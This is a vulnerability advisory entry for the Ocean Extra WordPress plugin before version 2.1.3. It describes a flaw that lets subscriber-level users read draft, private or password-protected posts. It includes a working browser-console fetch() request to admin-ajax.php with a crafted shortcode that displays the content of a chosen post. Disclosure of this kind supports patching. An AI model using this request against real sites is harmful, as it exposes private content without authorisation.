Lucene search

K
wpexploitWpvulndbWPEX-ID:9CAA8D2E-383B-47D7-8D21-D2ED6B1664CB
HistoryFeb 14, 2023 - 12:00 a.m.

Ocean Extra < 2.1.3 - Subscriber+ Arbitrary Post Content Disclosure

2023-02-1400:00:00
wpvulndb
187
ocean extra
subscriber+
arbitrary post content
disclosure
oceanwp theme
web browser
developer console
exploit

EPSS

0.001

Percentile

30.4%

The plugin does not ensure that the template to be loaded via a shortcode is actually a template, allowing any authenticated users such as subscriber to retrieve the content of arbitrary posts, such as draft, private or even password protected ones.

Note: This requires the OceanWP theme to be installed and active

Run the below command in the developer console of the web browser while being on the blog as a subscriber

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": "action=parse-media-shortcode&shortcode=[oceanwp_library id='14']",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

This will display the content of the post with ID 14

EPSS

0.001

Percentile

30.4%

Related for WPEX-ID:9CAA8D2E-383B-47D7-8D21-D2ED6B1664CB